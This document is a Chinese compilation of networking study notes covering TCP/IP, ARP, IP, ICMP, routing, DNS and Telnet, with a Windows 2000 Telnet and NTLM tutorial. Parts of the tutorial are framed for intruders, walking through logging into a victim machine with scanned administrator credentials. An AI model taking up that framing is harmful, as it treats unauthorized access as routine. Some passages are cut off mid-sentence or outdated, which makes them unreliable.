Ⅰ 我们现在所使用的电脑有哪些网络协议
TCP/IP、HTTP、FTP协议,到OSPF、IGP等协议,有上千种之多。对于普通用户而言,不需要关心太多的底层通信协议,只需要了解其通信原理即可。
TCP/IP协议族中包括上百个互为关联的协议,不同功能的协议分布在不同的协议层, 几个常用协议如下:
1、Telnet(Remote Login):提供远程登录功能,一台计算机用户可以登录到远程的另一台计算机上,如同在远程主机上直接操作一样。
2、FTP(File Transfer Protocol):远程文件传输协议,允许用户将远程主机上的文件拷贝到自己的计算机上。
3、SMTP(Simple Mail transfer Protocol):简单邮政传输协议,用于传输电子邮件。
4、NFS(Network File Server):网络文件服务器,可使多台计算机透明地访问彼此的目录。
5、UDP(User Datagram Protocol):用户数据包协议,它和TCP一样位于传输层,和IP协议配合使用,在传输数据时省去包头,但它不能提供数据包的重传,所以适合传输较短的文件。
HTTP协议
HTTP是一个属于应用层的面向对象的协议,由于其简捷、快速的方式,适用于分布式超媒体信息系统。它于1990年提出,经过几年的使用与发展,得到不断地完善和扩展。目前在WWW中使用的是HTTP/1.0的第六版,HTTP/1.1的规范化工作正在进行之中,而且HTTP-NG(Next Generation of HTTP)的建议已经提出。
HTTP协议的主要特点可概括如下:
1.支持客户/服务器模式。
2.简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。每种方法规定了客户与服务器联系的类型不同。
由于HTTP协议简单,使得HTTP服务器的程序规模小,因而通信速度很快。
3.灵活:HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记。
4.无连接:无连接的含义是限制每次连接只处理一个请求。服务器处理完客户的请求,并收到客户的应答后,即断开连接。采用这种方式可以节省传输时间。
5.无状态:HTTP协议是无状态协议。无状态是指协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这样可能导致每次连接传送的数据量增大。另一方面,在服务器不需要先前信息时它的应答就较快。
Ⅱ 常见的网络协议有哪些
第一章 概述
电信网、计算机网和有线电视网 三网合一
TCP/IP是当前的因特网协议簇的总称,TCP和 IP是其中的两个最重要的协议。
RFC标准轨迹由3个成熟级构成:提案标准、草案标准和标准。
第二章 计算机网络与因特网体系结构
根据拓扑结构:计算机网络可以分为总线型网、环型网、星型网和格状网。
根据覆盖范围:计算机网络可以分为广域网、城域网、局域网和个域网。
网络可以划分成:资源子网和通信子网两个部分。
网络协议是通信双方共同遵守的规则和约定的集合。网络协议包括三个要素,即语法、语义和同步规则。
通信双方对等层中完成相同协议功能的实体称为对等实体 ,对等实体按协议进行通信。
有线接入技术分为铜线接入、光纤接入和混合光纤同轴接入技术。
无线接入技术主要有卫星接入技术、无线本地环路接入和本地多点分配业务。
网关实现不同网络协议之间的转换。
因特网采用了网络级互联技术,网络级的协议转换不仅增加了系统的灵活性,而且简化了网络互联设备。
因特网对用户隐藏了底层网络技术和结构,在用户看来,因特网是一个统一的网络。
因特网将任何一个能传输数据分组的通信系统都视为网络,这些网络受到网络协议的平等对待。
TCP/IP 协议分为 4 个协议层 :网络接口层、网络层、传输层和应用层。
IP 协议既是网络层的核心协议 ,也是 TCP/IP 协议簇中的核心协议。
第四章 地址解析
建立逻辑地址与物理地址之间 映射的方法 通常有静态映射和动态映射。动态映射是在需要获得地址映射关系时利用网络通信协议直接从其他主机上获得映射信息。 因特网采用了动态映射的方法进行地址映射。
获得逻辑地址与物理地址之间的映射关系称为地址解析 。
地址解析协议 ARP 是将逻辑地址( IP 地址)映射到物理地址的动态映射协议。
ARP 高速缓存中含有最近使用过的 IP 地址与物理地址的映射列表。
在 ARP 高速缓存中创建的静态表项是永不超时的地址映射表项。
反向地址解析协议 RARP 是将给定的物理地址映射到逻辑地址( IP地址)的动态映射。RARP需要有RARP 服务器帮助完成解析。
ARP请求和 RARP请求,都是采用本地物理网络广播实现的。
在代理ARP中,当主机请求对隐藏在路由器后面的子网中的某一主机 IP 地址进行解析时,代理 ARP路由器将用自己的物理地址作为解析结果进行响应。
第五章 IP协议
IP是不可靠的无连接数据报协议,提供尽力而为的传输服务。
TCP/IP 协议的网络层称为IP层.
IP数据报在经过路由器进行转发时一般要进行三个方面的处理:首部校验、路由选择、数据分片
IP层通过IP地址实现了物理地址的统一,通过IP数据报实现了物理数据帧的统一。 IP 层通过这两个方面的统一屏蔽了底层的差异,向上层提供了统一的服务。
IP 数据报由首部和数据两部分构成 。首部分为定长部分和变长部分。选项是数据报首部的变长部分。定长部分 20 字节,选项不超过40字节。
IP 数据报中首部长度以 32 位字为单位 ,数据报总长度以字节为单位,片偏移以 8 字节( 64 比特)为单位。数据报中的数据长度 =数据报总长度-首部长度× 4。
IP 协议支持动态分片 ,控制分片和重组的字段是标识、标志和片偏移, 影响分片的因素是网络的最大传输单元 MTU ,MTU 是物理网络帧可以封装的最大数据字节数。通常不同协议的物理网络具有不同的MTU 。分片的重组只能在信宿机进行。
生存时间TTL是 IP 数据报在网络上传输时可以生存的最大时间,每经过一个路由器,数据报的TTL值减 1。
IP数据报只对首部进行校验 ,不对数据进行校验。
IP选项用于网络控制和测试 ,重要包括严格源路由、宽松源路由、记录路由和时间戳。
IP协议的主要功能 包括封装 IP 数据报,对数据报进行分片和重组,处理数据环回、IP选项、校验码和TTL值,进行路由选择等。
在IP 数据报中与分片相关的字段是标识字段、标志字段和片偏移字段。
数据报标识是分片所属数据报的关键信息,是分片重组的依据
分片必须满足两个条件: 分片尽可能大,但必须能为帧所封装 ;片中数据的大小必须为 8 字节的整数倍 ,否则 IP 无法表达其偏移量。
分片可以在信源机或传输路径上的任何一台路由器上进行,而分片的重组只能在信宿机上进行片重组的控制主要根据 数据报首部中的标识、标志和片偏移字段
IP选项是IP数据报首部中的变长部分,用于网络控制和测试目的 (如源路由、记录路由、时间戳等 ),IP选项的最大长度 不能超过40字节。
1、IP 层不对数据进行校验。
原因:上层传输层是端到端的协议,进行端到端的校验比进行点到点的校验开销小得多,在通信线路较好的情况下尤其如此。另外,上层协议可以根据对于数据可靠性的要求, 选择进行校验或不进行校验,甚至可以考虑采用不同的校验方法,这给系统带来很大的灵活性。
2、IP协议对IP数据报首部进行校验。
原因: IP 首部属于 IP 层协议的内容,不可能由上层协议处理。
IP 首部中的部分字段在点到点的传递过程中是不断变化的,只能在每个中间点重新形成校验数据,在相邻点之间完成校验。
3、分片必须满足两个条件:
分片尽可能大,但必须能为帧所封装 ;
片中数据的大小必须为8字节的整数倍,否则IP无法表达其偏移量。
第六章 差错与控制报文协议(ICMP)
ICMP 协议是 IP 协议的补充,用于IP层的差错报告、拥塞控制、路径控制以及路由器或主机信息的获取。
ICMP既不向信宿报告差错,也不向中间的路由器报告差错,而是 向信源报告差错 。
ICMP与 IP协议位于同一个层次,但 ICMP报文被封装在IP数据报的数据部分进行传输。
ICMP 报文可以分为三大类:差错报告、控制报文和请求 /应答报文。
ICMP 差错报告分为三种 :信宿不可达报告、数据报超时报告和数据报参数错报告。数据报超时报告包括 TTL 超时和分片重组超时。
数据报参数错包括数据报首部中的某个字段的值有错和数据报首部中缺少某一选项所必须具有的部分参数。
ICMP控制报文包括源抑制报文和重定向报文。
拥塞是无连接传输时缺乏流量控制机制而带来的问题。ICMP 利用源抑制的方法进行拥塞控制 ,通过源抑制减缓信源发出数据报的速率。
源抑制包括三个阶段 :发现拥塞阶段、解决拥塞阶段和恢复阶段。
ICMP 重定向报文由位于同一网络的路由器发送给主机,完成对主机的路由表的刷新。
ICMP 回应请求与应答不仅可以被用来测试主机或路由器的可达性,还可以被用来测试 IP 协议的工作情况。
ICMP时间戳请求与应答报文用于设备间进行时钟同步 。
主机利用 ICMP 路由器请求和通告报文不仅可以获得默认路由器的 IP 地址,还可以知道路由器是否处于活动状态。
第七章 IP 路由
数据传递分为直接传递和间接传递 ,直接传递是指直接传到最终信宿的传输过程。间接传递是指在信
源和信宿位于不同物理网络时,所经过的一些中间传递过程。
TCP/IP 采用 表驱动的方式 进行路由选择。在每台主机和路由器中都有一个反映网络拓扑结构的路由表,主机和路由器能够根据 路由表 所反映的拓扑信息找到去往信宿机的正确路径。
通常路由表中的 信宿地址采用网络地址 。路径信息采用去往信宿的路径中的下一跳路由器的地址表示。
路由表中的两个特殊表目是特定主机路由和默认路由表目。
路由表的建立和刷新可以采用两种不同 的方式:静态路由和动态路由。
自治系统 是由独立管理机构所管理的一组网络和路由器组成的系统。
路由器自动获取路径信息的两种基本方法是向量—距离算法和链路 —状态算法。
1、向量 — 距离 (Vector-Distance,简称 V—D)算法的基本思想 :路由器周期性地向与它相邻的路由器广播路径刷新报文,报文的主要内容是一组从本路由器出发去往信宿网络的最短距离,在报文中一般用(V,D)序偶表示,这里的 V 代表向量,标识从该路由器可以到达的信宿 (网络或主机 ),D 代表距离,指出从该路由器去往信宿 V 的距离, 距离 D 按照去往信宿的跳数计。 各个路由器根据收到的 (V ,D)报文,按照最短路径优先原则对各自的路由表进行刷新。
向量 —距离算法的优点是简单,易于实现。
缺点是收敛速度慢和信息交换量较大。
2、链路 — 状态 (Link-Status,简称 L-S)算法的基本思想 :系统中的每个路由器通过从其他路由器获得的信息,构造出当前网络的拓扑结构,根据这一拓扑结构,并利用 Dijkstra 算法形成一棵以本路由器为根的最短路径优先树, 由于这棵树反映了从本节点出发去往各路由节点的最短路径, 所以本节点就可以根据这棵最短路径优先树形成路由表。
动态路由所使用的路由协议包括用于自治系统内部的 内部网关协 议和用于自治系统之间的外部网关协议。
RIP协议在基本的向量 —距离算法的基础上 ,增加了对路由环路、相同距离路径、失效路径以及慢收敛问题的处理。 RIP 协议以路径上的跳数作为该路径的距离。 RIP 规定,一条有效路径的距离不能超过
RIP不适合大型网络。
RIP报文被封装在 UDP 数据报中传输。RIP使用 UDP 的 520 端口号。
3、RIP 协议的三个要点
仅和相邻路由器交换信息。
交换的信息是当前本路由器所知道的全部信息,即自己的路由表。
按固定的时间间隔交换路由信息,例如,每隔30秒。
4、RIP 协议的优缺点
RIP 存在的一个问题是当网络出现故障时,要经过比较长的时间才能将此信息传送到所有的路由器。
RIP 协议最大的优点就是实现简单,开销较小。
RIP 限制了网络的规模,它能使用的最大距离为15(16表示不可达)。
路由器之间交换的路由信息是路由器中的完整路由表,因而随着网络规模的扩大,开销也就增加。
5、为了防止计数到无穷问题,可以采用以下三种技术。
1)水平 分割 法(Split Horizon) 水平分割法的基本思想:路由器从某个接口接收到的更新信息不允许再从这个接口发回去。在图 7-9 所示的例子中, R2 向 R1 发送 V-D 报文时,不能包含经过 R1 去往 NET1的路径。因为这一信息本身就是 R1 所产生的。
2) 保持法 (Hold Down) 保持法要求路由器在得知某网络不可到达后的一段时间内,保持此信息不变,这段时间称为保持时间,路由器在保持时间内不接受关于此网络的任何可达性信息。
3) 毒性逆转法 (Poison Reverse)毒性逆转法是水平分割法的一种变化。当从某一接口发出信息时,凡是从这一接口进来的信息改变了路由表表项的, V-D 报文中对应这些表目的距离值都设为无穷 (16)。
OSPF 将自治系统进一步划分为区域,每个区域由位于同一自治系统中的一组网络、主机和路由器构成。区域的划分不仅使得广播得到了更好的管理,而且使 OSPF能够支持大规模的网络。
OSPF是一个链路 —状态协议。当网络处于收敛状态时, 每个 OSPF路由器利用 Dijkstra 算法为每个网络和路由器计算最短路径,形成一棵以本路由器为根的最短路径优先 (SPF)树,并根据最短路径优先树构造路由表。
OSPF直接使用 IP。在IP首部的协议字段, OSPF协议的值为 89。
BGP 是采用路径 —向量算法的外部网关协议 , BGP 支持基于策略的路由,路由选择策略与政治、经济或安全等因素有关。
BGP 报文分为打开、更新、保持活动和通告 4 类。BGP 报文被封装在 TCP 段中传输,使用TCP的179 号端口 。
第八章 传输层协议
传输层承上启下,屏蔽通信子网的细节,向上提供通用的进程通信服务。传输层是对网络层的加强与弥补。 TCP 和 UDP 是传输层 的两大协议。
端口分配有两种基本的方式:全局端口分配和本地端口分配。
在因特网中采用一个 三元组 (协议,主机地址,端口号)来全局惟一地标识一个进程。用一个五元组(协议 ,本地主机地址 ,本地端口号 ,远地主机地址 ,远地端口号)来描述两个进程的关联。
TCP 和 UDP 都是提供进程通信能力的传输层协议。它们各有一套端口号,两套端口号相互独立,都是从0到 65535。
TCP 和 UDP 在计算校验和时引入伪首部的目的是为了能够验证数据是否传送到了正确的信宿端。
为了实现数据的可靠传输, TCP 在应用进程间 建立传输连接 。TCP 在建立连接时采用 三次握手方法解决重复连接的问题。在拆除连接时采用 四次握手 方法解决数据丢失问题。
建立连接前,服务器端首先被动打开其熟知的端口,对端口进行监听。当客户端要和服务器建立连接时,发出一个主动打开端口的请求,客户端一般使用临时端口。
TCP 采用的最基本的可靠性技术 包括流量控制、拥塞控制和差错控制。
TCP 采用 滑动窗口协议 实现流量控制,滑动窗口协议通过发送方窗口和接收方窗口的配合来完成传输控制。
TCP 的 拥塞控制 利用发送方的窗口来控制注入网络的数据流的速度。发送窗口的大小取通告窗口和拥塞窗口中小的一个。
TCP通过差错控制解决 数据的毁坏、重复、失序和丢失等问题。
UDP 在 IP 协议上增加了进程通信能力。此外 UDP 通过可选的校验和提供简单的差错控制。但UDP不提供流量控制和数据报确认 。
1、传输层( Transport Layer)的任务 是向用户提供可靠的、透明的端到端的数据传输,以及差错控制和流量控制机制。
2 “传输层提供应用进程间的逻辑通信 ”。“逻辑通信 ”的意思是:传输层之间的通信好像是沿水平方向传送数据。但事实上这两个传输层之间并没有一条水平方向的物理连接。
TCP 提供的可靠传输服务有如下五个特征 :
面向数据流 ; 虚电路连接 ; 有缓冲的传输 ; 无结构的数据流 ; 全双工连接 .
3、TCP 采用一种名为 “带重传功能的肯定确认 ( positive acknowledge with retransmission ) ”的技术作为提供可靠数据传输服务的基础。
第九章 域名系统
字符型的名字系统为用户提供了非常直观、便于理解和记忆的方法,非常符合用户的命名习惯。
因特网采用层次型命名机制 ,层次型命名机制将名字空间分成若干子空间,每个机构负责一个子空间的管理。 授权管理机构可以将其管理的子名字空间进一步划分, 授权给下一级机构管理。名字空间呈一种树形结构。
域名由圆点 “.”分开的标号序列构成 。若域名包含从树叶到树根的完整标号串并以圆点结束,则称该域名为完全合格域名FQDN。
常用的三块顶级域名 为通用顶级域名、国家代码顶级域名和反向域的顶级域名。
TCP/IP 的域名系统是一个有效的、可靠的、通用的、分布式的名字 —地址映射系统。区域是 DNS 服务器的管理单元,通常是指一个 DNS 服务器所管理的名字空间 。区域和域是不同的概念,域是一个完整的子树,而区域可以是子树中的任何一部分。
名字服务器的三种主要类型是 主名字服务器、次名字服务器和惟高速缓存名字服务器。主名字服务器拥有一个区域文件的原始版本,次名字服务器从主名字服务器那里获得区域文件的拷贝,次名字服务器通过区域传输同主名字服务器保持同步。
DNS 服务器和客户端属于 TCP/IP 模型的应用层, DNS 既可以使用 UDP,也可以使用 TCP 来进行通信。 DNS 服务器使用 UDP 和 TCP 的 53 号熟知端口。
DNS 服务器能够使用两种类型的解析: 递归解析和反复解析 。
DNS 响应报文中的回答部分、授权部分和附加信息部分由资源记录构成,资源记录存放在名字服务器的数据库中。
顶级域 cn 次级域 e.cn 子域 njust.e.cn 主机 sery.njust.e.cn
TFTP :普通文件传送协议( Trivial File Transfer Protocol )
RIP: 路由信息协议 (Routing Information Protocol)
OSPF 开放最短路径优先 (Open Shortest Path First)协议。
EGP 外部网关协议 (Exterior Gateway Protocol)
BGP 边界网关协议 (Border Gateway Protocol)
DHCP 动态主机配置协议( Dynamic Host Configuration Protocol)
Telnet工作原理 : 远程主机连接服务
FTP 文件传输工作原理 File Transfer Protocol
SMTP 邮件传输模型 Simple Message Transfer Protocol
HTTP 工作原理
Ⅲ 远程登录使用的是什么协议
Internet远程登录使用的协议是使用Telnet协议,使自己的计算机暂时成为远程计算机的一个仿真终端的过程。
Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。
Ⅳ 如何连接到远程计算机有几种说几种要详细点。
一 摘要
二 远程登录
三 Telnet协议
四 Win2000的Telnet服务
五 在telnet中该做什么
六 结束语
一 摘要
Telnet的应用不仅方便了我们进行远程登录,也给hacker们提供了又一种入侵手段和后门,但无论如何,在你尽情享受Telnet所带给你的便捷的同时,你是否真正的了解Telnet呢?
二 远程登录
Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么就让我们来认识一下远程登录。
1 远程登陆的基本概念
先来看看什么叫登录:分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记帐方便,系统要求每个用户有单独的帐号作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为'登录'。
远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。
2 远程登陆的产生及发展
我们可以先构想一个提供远程文字编辑的服务,这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接,当然这需要服务器的应答,然后向服务器发送键入的信息(文件编辑信息),并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。
似乎有了客户机/服务器模型的服务,一切远程问题都可以解决了。然而实际并非你想象的那样简单,如果我们仅需要远程编辑文件,那么刚才所构想的服务完全可以胜任,但假如我们的要求并不是这么简单,我们还想实现远程用户管理,远程数据录入,远程系统维护,想实现一切可以在远程主机上实现的操作,那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程,随之而来的问题是:远程机器会很快对服务器进程应接不暇,并淹没在进程的海洋里(我们在这里排除最专业化的远程机器)。
那么有没有办法解决呢?当然有,我们可以用远程登录来解决这一切。我们允许用户在远地机器上建立一个登录会话,然后通过执行命令来实现更一般的服务,就像在本地操作一样。这样,我们便可以访问远地系统上所有可用的命令,并且系统设计员不需提供多个专用地服务器程序。
问题发展到这里好像前途一片光明了,用远程登录总应该解决问题了吧,但要实现远程登陆并不简单。不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录,在这种机器上增加远程登陆功能需要修改机器的操作系统,这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件,虽然这样也是比较困难的。为什么说这样做也比较困难呢?
举个例子来说:一般,操作系统会为一些特殊按键分配特殊的含义,比如本地系统将'Ctrl+C'解释为:'终止当前运行的命令进程'。但假设我们已经运行了远程登陆服务器软件,'Ctrl+C'也有可能无法被传送到远地机器,如果客户机真的将'Ctrl+C'传到了远地机器,那么'Ctrl+C'这个命令有可能不能终止本地的进程,也就是说在这里很可能会产生混乱。而且这仅仅是遇到的难题之一。
但尽管有技术上的困难,系统编程人员还是设法构造了能够应用于大多数操作系统的远程登陆服务器软件,并构造了充当客户机的应用软件。通常,客户机软件取消了除一个键以外的所有键的本地解释,并将这些本地解释相应的转换成远地解释,这就使得客户机软件与远地机器的交互,就如同坐在远程主机面前一样,从而避免了上述所提到的混乱。而那个唯一例外的键,可以使用户回到本地环境。
将远程登陆服务器设计为应用级软件,还有另一个要求,那就是需要操作系统提供对伪终端(pseudo terminal)的支持。我们用伪终端描述操作系统的入口点,它允许像Telnet服务器一样的程序向操作系统传送字符,并且使得字符像是来自本地键盘一样。只有使用这样的操作系统,才能将远程登陆服务器设计为应用级软件(比如Telnet服务器软件),否则,本地操作系统和远地系统传送将不能识别从对方传送过来的信息(因为它们仅能识别从本地键盘所键入的信息),远程登陆将宣告失败。
将远程登陆服务器设计为应用级软件虽然有其显着的优点:比将代码嵌入操作系统更易修改和控制服务器。但其也有效率不高的缺点(后面的内容将会给予解释),好在用户键入信息的速率不高,这种设计还是可以接受的。
3 远程登录的工作过程
使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。
Telnet远程登录服务分为以下4个过程:
1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;
2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;
3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;
4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。
上面的内容只是讨论了远程登陆最基本的东西,其中的复杂和编程人员的艰辛是我们难以想象的,不知道你在舒服的使用Telnet的同时,是否想到了这些!
三 Telnet协议
我们知道Telnet服务器软件是我们最常用的远程登录服务器软件,是一种典型的客户机/服务器模型的服务,它应用Telnet协议来工作。那么,什么是Telnet协议?它都具备哪些特点呢?
1 基本内容
Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:
1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;
2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;
3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。
2 适应异构
为了使多个操作系统间的Telnet交互操作成为可能,就必须详细了解异构计算机和操作系统。比如,一些操作系统需要每行文本用ASCII回车控制符(CR)结束,另一些系统则需要使用ASCII换行符(LF),还有一些系统需要用两个字符的序列回车-换行(CR-LF);再比如,大多数操作系统为用户提供了一个中断程序运行的快捷键,但这个快捷键在各个系统中有可能不同(一些系统使用CTRL+C,而另一些系统使用ESCAPE)。如果不考虑系统间的异构性,那么在本地发出的字符或命令,传送到远地并被远地系统解释后很可能会不准确或者出现错误。因此,Telnet协议必须解决这个问题。
为了适应异构环境,Telnet协议定义了数据和命令在Internet上的传输方式,此定义被称作网络虚拟终端NVT(Net Virtual Terminal)。它的应用过程如下:
对于发送的数据:客户机软件把来自用户终端的按键和命令序列转换为NVT格式,并发送到服务器,服务器软件将收到的数据和命令,从NVT格式转换为远地系统需要的格式;
对于返回的数据:远地服务器将数据从远地机器的格式转换为NVT格式,而本地客户机将将接收到的NVT格式数据再转换为本地的格式。
对于NVT格式的详细定义,有兴趣的朋友可以去查找相关资料。
3 传送远地命令
我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令,当用户在本地终端键入这些快捷键的时候,本地系统将执行相应的控制命令,而不把这些快捷键作为输入。那么对于Telnet来说,它是用什么来实现控制命令的远地传送呢?
Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时,NVT将按照其原始含义传送;当用户键入快捷键(组合键)时,NVT将把它转化为特殊的ASCII字符在网络上传送,并在其到达远地机器后转化为相应的控制命令。将正常ASCII字符集与控制命令区分主要有两个原因:
1)这种区分意味着Telnet具有更大的灵活性:它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能;
2)这种区分使得客户机可以无二义性的指定信令,而不会产生控制功能与普通字符的混乱。
4 数据流向
上面我们提到过将Telnet设计为应用级软件有一个缺点,那就是:效率不高。这是为什么呢?下面给出Telnet中的数据流向:
数据信息被用户从本地键盘键入并通过操作系统传到客户机程序,客户机程序将其处理后返回操作系统,并由操作系统经过网络传送到远地机器,远地操作系统将所接收数据传给服务器程序,并经服务器程序再次处理后返回到操作系统上的伪终端入口点,最后,远地操作系统将数据传送到用户正在运行的应用程序,这便是一次完整的输入过程;输出将按照同一通路从服务器传送到客户机。
因为每一次的输入和输出,计算机将切换进程环境好几次,这个开销是很昂贵的。还好用户的键入速率并不算高,这个缺点我们仍然能够接受。
5 强制命令
我们应该考虑到这样一种情况:假设本地用户运行了远地机器的一个无休止循环的错误命令或程序,且此命令或程序已经停止读取输入,那么操作系统的缓冲区可能因此而被占满,如果这样,远地服务器也无法再将数据写入伪终端,并且最终导致停止从TCP连接读取数据,TCP连接的缓冲区最终也会被占满,从而导致阻止数据流流入此连接。如果以上事情真的发生了,那么本地用户将失去对远地机器的控制。
为了解决此问题,Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令,那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组,并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了,携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应,服务器将读取并抛弃所有数据,直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。
6 选项协商
由于Telnet两端的机器和操作系统的异构性,使得Telnet不可能也不应该严格规定每一个telnet连接的详细配置,否则将大大影响Telnet的适应异构性。因此,Telnet采用选项协商机制来解决这一问题。
Telnet选项的范围很广:一些选项扩充了大方向的功能,而一些选项制涉及一些微小细节。例如:有一个选项可以控制Telnet是在半双工还是全双工模式下工作(大方向);还有一个选项允许远地机器上的服务器决定用户终端类型(小细节)。
Telnet选项的协商方式也很有意思,它对于每个选项的处理都是对称的,即任何一端都可以发出协商申请;任何一端都可以接受或拒绝这个申请。另外,如果一端试图协商另一端不了解的选项,接受请求的一端可简单的拒绝协商。因此,有可能将更新,更复杂的Telnet客户机服务器版本与较老的,不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项,可能会对交互有所改善。否则,它们将一起转到效率较低但可工作的方式下运行。所有的这些设计,都是为了增强适应异构性,可见Telnet的适应异构性对其的应用和发展是多么重要。
上面讨论了一些原理方面的东西,虽然我们在Telnet的使用过程中很难接触到这一层面,但我认为了解这些是有意义的,它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务。
(本系列教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区 http://ccbirds.yeah.net)
四 Win2000的Telnet服务
其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已。
1 基本配置
Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。
Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:
AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。
DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。
DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\System32\Cmd.exe /q /k
MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。
LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。
NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2: 只使用 NTLM 身份验证。
TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。
以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1
2 NTLM
提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?
早期的SMB协议在网络上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:
1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。
从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。
由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:
1)身份验证选项=0时
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678
2)身份验证选项=1时
=====================================
NTLM Authentication failed e to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别
3)身份验证选项=2时
